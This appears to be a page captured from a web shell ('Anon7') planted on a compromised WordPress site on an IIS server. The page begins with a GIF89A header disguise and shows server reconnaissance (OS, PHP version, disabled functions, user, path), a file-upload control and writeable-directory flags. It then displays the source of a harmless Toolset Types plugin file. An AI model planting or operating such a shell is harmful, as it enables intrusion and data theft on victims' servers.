GIF89A; .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Microsoft-IIS/10.0
System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586
User : fatorc ( 0)
PHP Version : 5.3.28
Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Directory :  e:/home/fatorc/Web/wp-content/plugins/types/library/toolset/types/embedded/classes/field/renderer/preview/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : e:/home/fatorc/Web/wp-content/plugins/types/library/toolset/types/embedded/classes/field/renderer/preview/file.php
<?php

/**
 * Preview renderer for all "file" fields.
 * 
 * By file field it is meant those fields that contain URL to any (generic) file. The result is the same as for
 * URL field, but with only filename being displayed as a link label.
 * 
 * @since 1.9.1
 */
final class WPCF_Field_Renderer_Preview_File extends WPCF_Field_Renderer_Preview_URL {

	/**
	 * @param string[] $url_components Result of parse_url().
	 * @return string Label of the resulting link.
	 * @since 1.9.1
	 */
	protected function get_link_label( $url_components ) {

		$file_name = sanitize_text_field( basename( wpcf_getarr( $url_components, 'path' ) ) );

		return $file_name;
	}

}

Anon7 - 2021